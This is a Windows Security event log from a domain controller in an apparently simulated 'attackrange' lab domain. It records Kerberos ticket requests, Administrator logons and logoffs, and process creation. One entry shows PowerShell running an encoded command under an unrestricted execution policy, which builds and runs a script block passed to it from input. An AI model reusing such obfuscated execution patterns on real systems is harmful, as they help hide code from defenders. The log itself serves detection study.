Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252904
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252903
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17F59E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252902
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17F59E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252901
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17F59E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{33719BB1-66F7-C551-6AF6-7CD277AE7968}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252900
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{33719BB1-66F7-C551-6AF6-7CD277AE7968}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252899
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{33719BB1-66F7-C551-6AF6-7CD277AE7968}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252898
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252897
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17F531

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252896
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17ED31

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252895
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17E212

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252894
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17F531

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252893
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17F531
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{33719BB1-66F7-C551-6AF6-7CD277AE7968}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252892
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{33719BB1-66F7-C551-6AF6-7CD277AE7968}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252891
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{33719BB1-66F7-C551-6AF6-7CD277AE7968}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252890
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252889
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17D420

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf30
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1384
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES963C.tmp" "c:\Users\Administrator\AppData\Local\Temp\pfprkxqs\CSC7A0F00D86024379A93DBE90D65B2738.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252888
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17D420

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1384
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x12a0
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\pfprkxqs\pfprkxqs.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252973
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x182DF6

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252972
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x182DF6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252971
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252970
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252969
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252968
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x181515

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1034
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x121c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252967
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x181515

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x121c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252966
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x181BB6

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252965
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x181BB6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{3CE26EC9-ACBC-8F5A-2E68-B4FD2BE618C9}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
